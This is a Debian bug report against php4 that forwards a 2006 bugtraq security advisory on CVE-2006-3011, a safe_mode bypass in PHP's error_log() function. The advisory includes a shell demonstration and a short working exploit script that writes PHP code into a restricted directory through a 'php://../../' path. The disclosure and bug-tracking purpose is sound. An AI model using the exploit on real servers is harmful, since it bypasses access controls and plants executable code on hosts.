Package: php4
Version: 4.4.2
Severity: grave
Justification: security

Hello

The following came through bugtraq, please check if we're affected.

bye,

-christian-

On Sun, Jun 25, 2006 at 11:11:34PM -0000, [EMAIL PROTECTED] wrote:
> [error_log() Safe Mode Bypass PHP 5.1.4 and 4.4.2]
> 
> Author: Maksymilian Arciemowicz (cXIb8O3)
> Date:
> -Written: 10.6.2006
> -Public: 26.06.2006
> from SECURITYREASON.COM
> CVE-2006-3011
> 
> --- 0.Description ---
> PHP is an HTML-embedded scripting language. Much of its syntax is borrowed 
> from C, Java and Perl with a couple of unique PHP-specific features thrown 
> in. The goal of the language is to allow web developers to write dynamically 
> generated pages quickly.
> 
> A nice introduction to PHP by Stig Sæther Bakken can be found at 
> http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the 
> PHP Conference Material is freely available.
> error_log -- Send an error message somewhere.
> 
> --- 1. error_log() Safe Mode Bypass ---
> error_log() function send to email, file or display your error message. You 
> can send error messages per mail or write into files. Issue is very simple. 
> error_log() check safe_mode and open_basedir in stream function. But isn't 
> allowed use URL. And problem exists in incorrect filename.
> 
> PHP5:
> -2013-2050---
> PHPAPI int _php_error_log(int opt_err, char *message, char *opt, char 
> *headers TSRMLS_DC)
> {
>       php_stream *stream = NULL;
> 
>       switch (opt_err) {
> 
>               case 1:         /*send an email */
>                       {
> #if HAVE_SENDMAIL
>                               if (!php_mail(opt, "PHP error_log message", 
> message, headers, NULL TSRMLS_CC)) {
>                                       return FAILURE;
>                               }
> #else
>                               php_error_docref(NULL TSRMLS_CC, E_WARNING, 
> "Mail option not available!");
>                               return FAILURE;
> #endif
>                       }
>                       break;
> 
>               case 2:         /*send to an address */
>                       php_error_docref(NULL TSRMLS_CC, E_WARNING, "TCP/IP 
> option not available!");
>                       return FAILURE;
>                       break;
> 
>               case 3:         /*save to a file */
>                       stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | 
> ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL);
>                       if (!stream)
>                               return FAILURE;
>                       php_stream_write(stream, message, strlen(message));
>                       php_stream_close(stream);
>                       break;
> 
>               default:
>                       php_log_err(message TSRMLS_CC);
>                       break;
>       }
>       return SUCCESS;
> }
> -2013-2050---
> 
> Let's see to option 3.
> 
> -2038 line---
> stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | ENFORCE_SAFE_MODE | 
> REPORT_ERRORS, NULL);
> -2038 line---
> 
> Option "a", writte to file error or if file dosen't exists, create new file. 
> Problem is because in php_stream_open_wrapper(), is defined "IGNORE_URL".
> IGNORE_URL turn off safe_mode if you use "prefix://../../".
> 
> -Example---
> cxib# php -r 'error_log("<? echo \"cx\"; ?>", 3, "/www/temp/sr.php");'
> 
> Warning: error_log(): SAFE MODE Restriction in effect.  The script whose uid 
> is 0 is not allowed to access /www/temp owned by uid 80 in Command line code 
> on line 1
> 
> Warning: error_log(/www/temp/sr.php): failed to open stream: Invalid argument 
> in Command line code on line 1
> cxib# php -r 'error_log("<? echo \"cx\"; ?>", 3, 
> "php://../../www/temp/sr.php");'
> cxib# ls -la /www/temp/sr.php
> -rw-r--r--  1 cxib  www  16 Jun 11 17:47 /www/temp/sr.php
> cxib# 
> -Example---
> 
> --- 2. Exploit ---
> <?php
> $file=""; # FILENAME
> error_log("<? echo \"cx\"; ?>", 3, "php://../../".$file);
> ?>
> 
> 
> --- 3. How to fix ---
> No response from PHP Team. We have reported this bug in 11.06.2006
> 
> --- 4. Greets ---
> 
> For: sp3x
> and
> p_e_a, l3x, pi3, eax, Infospec, gKPc8O3
> 
> --- 5. Contact ---
> Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
> Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
> GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
> SecurityReason.Com
> 

-- 
Christian Hammers             WESTEND GmbH  |  Internet-Business-Provider
Technik                       CISCO Systems Partner - Authorized Reseller
                              Lütticher Straße 10      Tel 0241/701333-11
[EMAIL PROTECTED]                D-52064 Aachen              Fax 0241/911879


Reply via email to